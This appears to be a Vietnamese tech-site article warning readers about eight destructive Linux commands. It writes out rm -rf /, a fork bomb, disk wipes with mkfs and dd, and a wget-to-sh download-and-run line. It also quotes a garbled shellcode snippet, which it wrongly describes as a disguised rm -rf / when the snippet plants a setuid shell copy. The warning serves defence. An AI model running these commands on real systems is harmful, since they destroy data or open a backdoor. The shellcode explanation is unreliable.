8 lệnh chết người nhất định không bao giờ được chạy trên Linux

Lệnh Terminal trên Linux có sức công phá khá mạnh, nếu bạn chạy một lệnh nào sẽ phá hủy hệ thống của bạn. Linux không yêu cầu bạn phải xác nhận khi chạy bất kỳ một lệnh nào.


Việc tìm hiểu các lệnh không nên chạy trên Linux giúp bảo vệ hệ thống của bạn khi làm việc trên Linux. Dưới đây là 8 lệnh chết người nhất định bạn không bao giờ được chạy trên Linux.



8 lệnh chết người nhất định không bao giờ được chạy trên Linux

1. rm -rf / - xóa tất cả mọi thứ


Lệnh rm -rf / sẽ xóa tất cả mọi thứ, kể cả các file trên ổ cứng và các file trên các thiết bị media kết nối với máy tính của bạn.


Để dễ hiểu hơn về câu lệnh này, bạn phân tích như sau:


Linux sẽ vui vẻ làm theo lệnh này và xóa mọi thứ mà không thông báo trước cho bạn, vì thế hãy cẩn thận khi sử dụng lệnh này.


Ngoài ra lệnh rm còn được sử dụng theo những cách rất nguy hiểm. Chẳng hạn, rm –rf ~ sẽ xóa mọi file trong Home Folder của bạn, còn rm -rf .* sẽ xóa tất cả các file cấu hình của bạn.


2. Lệnh trá hình rm –rf /


Dưới đây là một đoạn mã trên tất cả các Web:


char esp[] __attribute__ ((section('.text'))) /* e.s.p
release */
= 'xebx3ex5bx31xc0x50x54x5ax83xecx64x68'
'xffxffxffxffx68xdfxd0xdfxd9x68x8dx99'
'xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7'
'x56x04xf7x56x08xf7x56x0cx83xc4x74x56'
'x8dx73x08x56x53x54x59xb0x0bxcdx80x31'
'xc0x40xebxf9xe8xbdxffxffxffx2fx62x69'
'x6ex2fx73x68x00x2dx63x00'
'cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;';

Đây thực chất là một phiên bản khác của rm –rf / – thực thi lệnh này cũng sẽ xóa hết các file của bạn, như bạn chạy lệnh rm –rf /.


3. :(){ :|: & };: – Một dạng bom tấn




Dòng lệnh dưới đây nhìn có vẻ rất đơn giản nhưng thực chất chức năng của nó lại rất nguy hiểm:


:(){ :|: & };:

Dòng lệnh ngắn này sẽ tạo ra các bản sao mới của chính nó. Nghĩa là, quá trình sao lưu chính bản thân nó sẽ diễn ra liên tục và nhanh chóng khiến CPU và bộ nhớ của bạn bị đầy.


Ngoài ra nó có thể khiến máy tính của bạn bị đóng băng. Đó cơ bản là một vụ tấn công từ chối dịch vụ (DoS).


4. mkfs.ext4 /dev/sda1 – Formats ổ cứng


Lệnh mkfs.ext4 /dev/sda1 là câu lệnh khá dễ hiểu:


Khi kết hợp 2 lệnh này tương đương với format ổ C: trên Windows – xóa hết các file trên phân vùng đầu tiên của bạn và thay thế chúng bằng hệ thống file mới.


Lệnh này có thể xuất hiện ở nhiều định dạng khác nhau, như - mkfs.ext3 /dev/sdb2 sẽ format phân vùng thứ hai trên ổ cứng thứ 2 của bạn với hệ thống file ext3.


5. command > /dev/sda - viết trực tiếp lên một ổ cứng




Dòng command > /dev/sda - chạy một lệnh và gửi ra kết quả của lệnh đó trực tiếp lên ổ cứng đầu tiên của bạn, viết dữ liệu thẳng vào ổ cứng và phá hủy hệ thống file của bạn.


6. dd if=/dev/random of=/dev/sda – viết những dữ liệu ngớ ngẩn lên ổ cứng


Dòng dd if=/dev/random of=/dev/sda sẽ xóa dữ liệu trên một trong các ổ cứng của bạn.


7. mv ~ /dev/null – Di chuyển Home Directory của bạn đến một lỗ đen (Black Hole)


/dev/null - di chuyển cái gì đó đến /dev/null cũng tương tự như phá hủy nó. Hãy xem /dev/null là một lỗ đen. mv ~ /dev/null sẽ gửi hết tất cả các file cá nhân của bạn đến một lỗ đen.


8. wget http://example.com/something -O – | sh – tải và chạy một script


Dòng lệnh trên sẽ tải một script từ trên web và gửi script đến sh, và sẽ thực thi các nội dung trong script. Điều này có thể nguy hiểm nếu bạn không chắc script là gì hoặc bạn không có nguồn script tin cậy – không được chạy những script không đáng tin cậy.


wget – tải một file.


http://example.com/something – tải file từ vị trí này.


| – Dẫn (gửi) đầu ra của lệnh wget (file bản đã tải) trực tiếp đến một lệnh khác.


sh – gửi file đến lệnh sh.


Tham khảo thêm một số bài viết dưới đây:


Chúc các bạn vui vẻ! 

TIN LIÊN QUAN

Cách sử dụng lệnh Screen trong Linux

Bạn có một máy trạm kết nối với một máy chủ linux, tuy nhiên máy chạm thường xuyên bị ngắt đột ngột hoặc trục trặc mà bạn lại không biết làm sao để giữ chương trình của bạn được an toàn và có thể tiếp tục làm việc. Bằng bài viết dưới đây, TCN sẽ

Hướng dẫn thao tác với mạng cho người dùng Linux: 11 câu lệnh cần biết

Linux hỗ trợ các câu lệnh để tải file, chẩn đoán vấn đề về mạng, quản lý các giao diện mạng hay xem thống kê mạng trên terminal. Đây là một số câu lệnh Linux thông dụng để làm việc với mạng, mời các bạn tham khảo.

Cách kiểm tra tốc độ mạng Internet bằng lệnh cmd

Kiểm tra tốc độ mạng Internet sẽ giúp bạn biết tốc độ download, upload của mạng mình đang dùng có đúng với những gì nhà cung cấp mạng thông báo với bạn hay không. Sử dụng lệnh cmd này sẽ giúp bạn đo tốc độ mạng mà không cần dùng phần mềm.

Cách tạo một file ISO trên Linux

Có thể bạn biết rằng một tập tin ISO có thể được burn vào một đĩa CD / DVD hoặc ổ đĩa USB, nhưng liệu bạn có biết rằng bạn việc sao lưu hay lưu trữ các tập tin và thư mục của bạn thành một tập tin ISO sẽ tốt hơn? Với file ISO thì bạn có thể ghi nó

Cách cài đặt Python trên Windows, macOS, Linux

Để bắt đầu làm quen với Python, trước tiên bạn cần cài đặt Python trên máy tính đang dùng, có thể là Windows, macOS hoặc Linux. Dưới đây là hướng dẫn cài đặt Python trên máy tính, cụ thể cho từng hệ điều hành.

Cách đổi địa chỉ MAC trên Windows, Linux và MAC OS X

Một trong những lỗi không thể bắt được sóng WiFi là do địa chỉ MAC của card mạng máy tính không khớp với địa chỉ MAC của mạng WiFi chính chủ. Vì thế, bạn cần đổi địa chỉ MAC trên máy tính.

Hưỡng dẫn cài đặt TeamViewer 9 trên môi trường Linux

Tuy nhiên nhà cung cấp phần mềm miễn phí mục đích sử dụng cá nhân. TeamViewer có sẵn cho Windows, Linux, Mac OS, Android và iPhone. TeamViewer sử dụng ứng dụng WINE được tích hợp bên trong.

Cách tải phụ đề phim trên Linux

Những bộ phim kèm theo phụ đề giúp bạn hiểu rõ nội dung phim hơn. Tuy nhiên, không phải lúc nào tải phim bạn cũng có thể tải cả phụ đề. Vậy phải làm sao để xem được phụ đề phim trên Linux? Hôm nay, Quản Trị Mạng sẽ hướng dẫn bạn làm điều đó.

THỦ THUẬT HAY

Hướng dẫn cách giấu file trên Google Drive bằng file khác

Ngụy trang dữ liệu Google Drive nôm na có thể hiểu là chúng ta sẽ dùng hình ảnh, định dạng của một file khác để che đi file gốc cần bảo vệ. Tuy nhiên, cách này cũng gây ra khá nhiều rắc rồi nếu bạn 'ngụy trang' quá

Mở rộng không gian lưu trữ cho thiết bị Android

Sau một thời gian sử dụng, không gian lưu trữ của thiết bị Android sẽ ngày một đầy lên bởi rất nhiều dữ liệu khác nhau. Lúc này, việc dọn dẹp là điều vô cùng cần thiết, giúp bạn có thể lưu trữ nhiều và nhiều hơn nữa.

Hướng dẫn cách gỡ bỏ hoàn toàn phần mềm Avast Free Antivirus

Cùng với Avira, AVG, CMC, hay BitDefender, Avast là phần mềm diệt virus cực mạnh và hoàn toàn miễn phí được rất nhiều người lựa chọn sử dụng. Tuy nhiên, vấn đề là, cài đặt đơn giản, nhưng gỡ bỏ thì ngược lại.

Thêm trình cắm vào Google Chrome nhanh chóng

Plug-in (trình cắm hay phần bổ trợ) hỗ trợ Google Chrome cũng như bất kỳ trình duyệt nào khác xử lý một số nội dung đặc biệt của trang web. Những trình cắm phổ biến được hỗ trợ bởi Google Chrome bao gồm: Adobe Flash

Thiết kế website du học chuyên nghiệp, chuẩn SEO tại Bizfly Website

Du học luôn là ước mơ của nhiều bạn trẻ và là mong muốn của nhiều phụ huynh bởi mở ra nhiều cơ hội trong tương lai. Bởi quá trình đăng ký du học cần nhiều thủ tục và phức tạp nên việc thiết kế website du học chuyên

ĐÁNH GIÁ NHANH

Đánh giá chi tiết xe Hyundai Kona 2019

Hyundai Kona 2019 là mẫu SUV cỡ nhỏ toàn cầu đầu tiên của Hyundai từng được vén màn tại thị trường quê nhà hồi tháng 6 năm ngoái. Tại Việt Nam, khi được bán ra thì Kona sẽ được lắp ráp trong nước tại nhà máy Hyundai

Đánh giá nhanh miếng dán cường lực 3D tràn màn hình cho iPhone

Trong bài này mình chia sẻ với anh em về trải nghiệm của mình sau khi sử dụng miếng dán cường lực 3D cho iPhone màn hình bo 2.5D sau hơn 2 tuần sử dụng. Cảm giác đầu tiên là nặng, rất nặng.

Đánh giá nhanh Nova 2i, cấu hình mạnh mẽ, camera kép, chụp ảnh xoá phông

Sở hữu nhiều điểm nhấn ấn tượng như thiết kế kim loại nguyên khối sang trọng, màn hình tràn viền đẹp mắt, camera kép xóa phông ấn tượng cùng hiệu năng mạnh mẽ, có thể nói Huawei Nova 2i là một trong những smartphone tầm